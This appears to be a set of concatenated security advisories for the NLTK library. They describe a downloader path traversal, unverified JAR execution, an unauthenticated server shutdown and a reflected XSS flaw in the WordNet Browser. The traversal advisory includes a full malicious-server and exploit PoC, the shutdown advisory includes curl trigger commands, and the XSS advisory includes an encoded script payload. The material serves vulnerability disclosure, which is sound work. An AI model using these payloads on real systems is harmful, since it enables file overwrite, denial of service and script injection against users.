Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!
Impact Scope 1. System File Overwrite
Reproduction Steps
Environment Setup
1. Install NLTK bash pip install nltk
2. Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server bash python3 maliciousserver.py
Step 2: Run exploit script bash python3 exploitvulnerability.py
Step 3: Verify results bash ls -la /tmp/testfile.zip
Proof of Concept
Malicious Server (maliciousserver.py)
python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler
Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")
Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """
Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)
with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")
HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass
Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")
Exploit Script (exploitvulnerability.py)
python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile
def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")
if name == "main": exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!
In nltk/nltk versions 3.9.3 and earlier, five Stanford interface classes (StanfordPOSTagger, StanfordNERTagger, StanfordParser, StanfordDependencyParser, and StanfordNeuralDependencyParser) are vulnerable to untrusted JAR code execution. These classes accept user-controllable JAR paths and execute them via the java() function, which invokes subprocess.Popen() without integrity verification. This vulnerability is identical to CVE-2026-0848, which was fixed for StanfordSegmenter by adding SHA256 verification. However, the fix was not applied to these additional classes, leaving them susceptible to arbitrary code execution when loading untrusted JAR files.
Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.
Details The vulnerable logic is in nltk/app/wordnetapp.py:
- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)
- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":
- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode
- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC 1. Start the WordNet Browser in Docker in its default mode:
bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"
2. Confirm the service is reachable:
bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'
Observed result:
text 200
3. Trigger shutdown:
bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
text 000
4. Verify the service is no longer available:
bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest
Observed results:
text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!
Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.
Summary nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookup<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details The vulnerable flow is in nltk/app/wordnetapp.py:
- nltk/app/wordnetapp.py:144 - Requests starting with lookup are handled as HTML responses: - page, word = pagefromhref(sp)
- nltk/app/wordnetapp.py:755 - pagefromhref() calls pagefromreference(Reference.decode(href))
- nltk/app/wordnetapp.py:769 - word = href.word
- nltk/app/wordnetapp.py:796 - If no results are found, word is inserted directly into the HTML body: - body = "The word or words '%s' were not found in the dictionary." % word
This is inconsistent with the search route, which does escape user input:
- nltk/app/wordnetapp.py:136 - word = html.escape(...)
As a result, a malicious lookup... payload can inject script into the response page.
The issue is exploitable because:
- Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded word is reflected into HTML without html.escape(). - The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.
PoC 1. Start the WordNet Browser in an isolated Docker environment:
bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8002, False)"
2. Use the following crafted payload, which decodes to:
python ("<script>alert(1)</script>", {})
Encoded payload:
text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
3. Request the vulnerable route:
bash curl -s "http://127.0.0.1:8002/lookupgAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
4. Observed result:
text The word or words '<script>alert(1)</script>' were not found in the dictionary. <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
python import base64 import pickle
from nltk.app.wordnetapp import pagefromhref
payload = base64.urlsafeb64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode()
page, word = pagefromhref(payload) print(word) print("<script>alert(1)</script>" in page)
Observed output:
text WORD= <script>alert(1)</script> HASSCRIPT= True
Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnetapp as a local or self-hosted HTTP service and open attacker-controlled links.